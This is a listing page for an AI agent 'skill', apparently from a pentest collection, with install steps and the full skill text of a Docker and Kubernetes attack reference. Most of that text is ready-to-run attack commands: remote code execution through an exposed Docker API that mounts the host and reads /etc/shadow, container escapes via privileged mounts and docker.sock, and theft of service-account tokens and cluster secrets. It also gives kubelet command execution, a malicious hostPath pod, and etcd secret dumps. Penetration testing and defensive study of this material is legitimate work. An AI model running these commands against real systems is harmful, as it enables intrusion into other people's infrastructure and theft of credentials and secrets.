Svc Docker K8s

Community

s0ld13rr

svc-docker-k8s

Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock.

Overview

Publisher	s0ld13rr
Repository	`pentestcode`
Skill name	`svc-docker-k8s`
Stars	834
Forks	131
Bundled files	Instructions only
License	MIT
Links	Skill source Repository

Markdown instructions
A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.
Works with any LLM
AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.
Self-contained
Everything the model needs lives in the instructions — no extra files to sync.
Open source
Published by s0ld13rr on GitHub. Read the source before you install it.

Installation

Install the Svc Docker K8s AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

Open the app and go to Plugins → Skills.
Choose "Install from GitHub".
Paste the skill folder URL below and confirm.
https://github.com/s0ld13rr/pentestcode/tree/main/skills/services/docker-k8s
Enable the skill in any chat where you want it available.

Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills

git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git /tmp/pentestcode
mkdir -p .claude/skills
cp -r /tmp/pentestcode/skills/services/docker-k8s .claude/skills/svc-docker-k8s

Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Svc Docker K8s in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Svc Docker K8s on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Svc Docker K8s is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

Loaded only when it is needed
The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.
Switch models mid-chat
Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Docker & Kubernetes Attack Reference

Docker API (2375/2376)

bash
# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json

# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'

# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true

Container Escape

bash
# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

# Privileged container escape
fdisk -l                           # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt

# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt

# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container

Kubernetes API (6443/8443)

bash
# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version

# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets

# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

K8s RBAC Abuse

bash
# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods

# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow"]
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF

etcd (2379)

bash
# Unauthenticated etcd — contains all K8s secrets
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix

Frequently asked questions

What does the Svc Docker K8s AI skill do?

Why use Svc Docker K8s on TypingMind?

Because you install it once and use it with any model. Svc Docker K8s is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Svc Docker K8s in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/s0ld13rr/pentestcode/tree/main/skills/services/docker-k8s. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Svc Docker K8s?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Svc Docker K8s?

As many as you like. As long as a model supports skills, you can use Svc Docker K8s with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Svc Docker K8s AI skill free?

Yes. It is published on GitHub by s0ld13rr under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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Overview

Installation

Install in TypingMind

Install in another agent

Use it in TypingMind

Works with any AI model

Skill instructions

Docker & Kubernetes Attack Reference

Docker API (2375/2376)

Container Escape

Kubernetes API (6443/8443)

K8s RBAC Abuse

etcd (2379)

Frequently asked questions

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